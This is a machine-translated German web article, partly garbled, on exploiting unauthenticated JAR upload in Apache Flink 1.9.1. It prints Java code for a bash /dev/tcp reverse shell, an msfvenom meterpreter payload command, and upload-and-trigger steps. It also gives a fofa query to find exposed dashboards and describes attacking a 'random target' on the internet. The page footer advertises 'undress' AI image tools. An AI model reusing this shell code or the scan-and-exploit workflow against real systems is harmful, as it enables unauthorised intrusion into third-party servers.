


Beispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird
Beschreibung der Sicherheitslücke:
Am 11. November 2019 hat der Sicherheitsingenieur Henry Chen eine Sicherheitslücke offengelegt, die es Apache Flink ermöglicht, JAR-Pakete ohne Autorisierung hochzuladen, was zur Remote-Codeausführung führt. Da auf das Apache Flink Dashboard standardmäßig ohne Authentifizierung zugegriffen werden kann, kann eine Shell erhalten werden, indem ein bösartiges JAR-Paket hochgeladen und die Ausführung von bösartigem Code ausgelöst wird.
Einflussbereich
<= 1.9.1 (neueste Version)
Umgebungsaufbau:
(1) Java im Voraus installieren (erfordert Java8 oder höher)
(2) Flink herunterladen- 1.9.1
Download-Adresse: https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) Entpacken Sie das komprimierte Paket und laden Sie es herunter:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) Gehen Sie in das dekomprimierte Verzeichnis und in das Bin-Verzeichnis:
(5) Starten Sie den Flink:
./start-cluster.sh
(6) Überprüfung des Browserzugriffs (der Standardport ist 8081):
http://172.26.1.108:8081
Wenn das obige Bild erscheint, ist die Konstruktion erfolgreich.
(7) Richten Sie den automatischen Start beim Booten ein (ich habe hier seit einer Weile Probleme Lange Zeit und ich kann die Quelle /etc /rc.d/rc.local nicht starten, aber Flink wird nach dem Neustart nicht gestartet. Endlich wurde eine Lösung gefunden)
Einstellungen für den automatischen Start beim Booten
Wiederkehr der Sicherheitslücke:
JAR-Paket-Produktionsschritte:
(1) Informationen zur Verwendung von Java finden Sie im Artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu Binden Sie die Shell erneut ein. Denken Sie daran, die IP-Adresse und den Port zu ändern: Dann auswählen das entsprechende Java-Projekt und der Exportpfad sowie der Exportdateiname
Bild
wie folgt: Ein JAR-Paket für die Rebound-Shell wird generiert
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析">(2) Öffnen Sie das Listening-Modul von msf und hören Sie auf Port 9999 (zur Verwendung mit unserem Jar. Der vom Pferd festgelegte Port ist konsistent)<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(3) Nach dem Hochladen des von uns generierten Jar-Pferdes und dem Absenden Darin (siehe Reproduktion unten für diesen Teil des Vorgangs) können Sie sehen, dass wir die Shell erfolgreich erhalten haben:
(2) Klicken Sie auf „Neuen Auftrag senden“, um die Seite zum Hochladen des JAR-Pakets zu öffnen:
(3) Klicken Sie auf „Neu hinzufügen“, um das von uns erstellte JAR-Paket auszuwählen:
(4) Überwachen Sie den Port auf unserer Maschine (dem JAR). (5) Klicken Sie auf das Glaspaket, das wir gerade hochgeladen haben: Internetseite:
fofa-Schlüsselwörter:
"Apache-Flink-Dashboard" && Land="US"
(1) Finden Sie ein zufälliges Ziel:
(2) Klicken Sie auf „Neuen Auftrag senden“. Sie können sehen, dass wir damit das JAR hochladen können Pakete
(3) Verwenden Sie die Funktion von flink, um das JAR-Paket hochzuladen, um unser JAR-Paket hochzuladen:
#🎜 🎜## 🎜🎜#(4) Nach dem Hochladen überwachen wir den Port auf unserem VPS
(5) Gehen Sie dann zurück zum Browser, wählen Sie das gerade hochgeladene JAR-Paket aus und Klicken Sie auf „Senden“. Sie können sehen, dass unser VPS die Shell erfolgreich empfangen hat. Empfohlene Einstellungen Firewall-Richtlinie: Erlauben Sie nur Whitelist-IPs den Zugriff auf den Apache-Flink-Dienst und fügen Sie Digest-Authentifizierung für den Dienst im Web-Proxy hinzu (z. B. Apache httpd).
Achten Sie immer auf die offizielle Website und warten Sie auf neue Versionen oder Patch-Updates
Das obige ist der detaillierte Inhalt vonBeispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



So importieren Sie JAR-Pakete in Eclipse: 1. Erstellen Sie ein neues Java-Projekt. 3. Kopieren Sie das JAR-Paket in den Bibliotheksordner. 5. Fügen Sie das JAR-Paket hinzu 6. Konfigurieren Sie den Projekt-Build-Pfad. 8. Andere Importmethoden. 11. Pflegen und aktualisieren Sie die Bibliothek. Detaillierte Einführung: 1. Erstellen Sie ein neues Java-Projekt, starten Sie Eclipse IDE, wählen Sie das Menü „Datei“ in der oberen Menüleiste usw.

Die Schritte für Maven zum Importieren eines JAR-Pakets: 2. Erstellen Sie ein Maven-Projekt. 4. Fügen Sie Abhängigkeitselemente hinzu. 6. Erstellen Sie das Projekt. 7. Überprüfen Sie den Import. Detaillierte Einführung: 1. Laden Sie zunächst das erforderliche JAR-Paket von der entsprechenden Website oder dem Quellcode-Warehouse herunter. Stellen Sie sicher, dass das heruntergeladene JAR-Paket mit Ihrem Projekt kompatibel ist und die erforderlichen Versionsanforderungen erfüllt . Wenn noch kein Maven-Projekt vorhanden ist, müssen Sie zuerst eines erstellen und so weiter.

SparkStreaming und Flink sind beide Stream-Verarbeitungs-Frameworks mit unterschiedlichen Funktionen: Programmiermodell: SparkStreaming basiert auf dem SparkRDD-Modell, während Flink über eine eigene Streaming-API verfügt. Statusverwaltung: Flink verfügt über eine integrierte Statusverwaltung, während SparkStreaming externe Lösungen erfordert. Fehlertoleranz: Flink basiert auf Snapshots, während SparkStreaming auf Checkpoints basiert. Skalierbarkeit: Flink basiert auf Stream-Operator-Ketten, während SparkStreaming auf Cluster-Skalierung basiert. In Anwendungsfällen der Echtzeit-Datenaggregation schneidet Flink im Allgemeinen besser ab als SparkStreaming, da es einen besseren Durchsatz bietet

Mit dem Aufkommen des Big-Data-Zeitalters ist die Datenverarbeitung zu einem Problem geworden, das in verschiedenen Branchen beachtet und gelöst werden muss. Als leistungsstarkes Datenverarbeitungstool bietet uns das Aufkommen von Flink eine effiziente, zuverlässige und skalierbare Lösung. In diesem Artikel stellen wir vor, wie Sie Flink in der Go-Sprache verwenden, um eine effiziente Datenflussverarbeitung zu erreichen. 1. Einführung in Flink Apache Flink ist eine Open-Source-Plattform für die verteilte Datenverarbeitung. Ihr Ziel ist es, eine effiziente, zuverlässige und skalierbare Möglichkeit zur Verarbeitung großer Datenmengen bereitzustellen.

Titel: Maven Advanced Tutorial: Ausführliche Erkundung verschiedener Methoden zum Importieren von Jar-Paketen. Als Java-Projektmanagement-Tool wird Maven häufig in der Projektkonstruktion, im Abhängigkeitsmanagement usw. verwendet. Im eigentlichen Entwicklungsprozess verwenden wir häufig Jar-Pakete verschiedener Bibliotheken von Drittanbietern, und der effektive Import von Jar-Paketen ist zu einer Fähigkeit geworden, die beherrscht werden muss. Dieser Artikel befasst sich mit den Methoden zum Importieren von Jar-Paketen in Maven, einschließlich der Verwendung lokaler Jar-Pakete, Remote-Warehouse-Jar-Pakete und benutzerdefinierter Jar-Pakete, und gibt spezifische Details an.

Anleitung und Vorsichtsmaßnahmen für die Verwendung des MySQL-Jar-Pakets MySQL ist ein häufig verwendetes relationales Datenbankverwaltungssystem. Viele Java-Projekte verwenden MySQL als Backend für die Datenspeicherung. Um in einem Java-Projekt mit der MySQL-Datenbank zu interagieren, müssen Sie den von MySQL bereitgestellten Java-Treiber (d. h. das Jar-Paket) verwenden. In diesem Artikel werden die Nutzungsrichtlinien und Vorsichtsmaßnahmen für das MySQL-Jar-Paket vorgestellt und spezifische Codebeispiele bereitgestellt, um den Lesern eine bessere Nutzung des MySQL-Treibers zu erleichtern. 1. M

Erste Schritte mit Maven: Wie importiere ich Jar-Pakete korrekt? Maven ist ein leistungsstarkes Projektmanagement-Tool, das Entwicklern dabei helfen kann, Projektabhängigkeiten zu verwalten, Projekte zu erstellen usw. Während der Projektentwicklung müssen wir häufig externe Jar-Pakete importieren, um einige Funktionen zu implementieren. In diesem Artikel wird erläutert, wie Sie mit Maven Jar-Pakete korrekt importieren, und es werden spezifische Codebeispiele bereitgestellt. Zuerst müssen wir Abhängigkeiten zu den erforderlichen Jar-Paketen in der pom.xml-Datei von Maven hinzufügen. In pom.xml gibt es eine

Das Jar-Paket von MySQL bezieht sich auf das Java-Treiberpaket, das zum Verbinden und Betreiben der MySQL-Datenbank verwendet wird. Bei der Java-Entwicklung muss die Interaktionsfunktion mit der MySQL-Datenbank über das Jar-Paket implementiert werden. Das Jar-Paket von MySQL bietet eine Reihe von Klassen und Methoden, mit denen Entwickler problemlos eine Verbindung zur MySQL-Datenbank herstellen, SQL-Anweisungen ausführen, Abfrageergebnisse abrufen und andere Vorgänge ausführen können. Unter normalen Umständen können Entwickler das MySQL-Jar-Paket über die offizielle Website oder das Maven-Repository und andere Kanäle herunterladen und dann
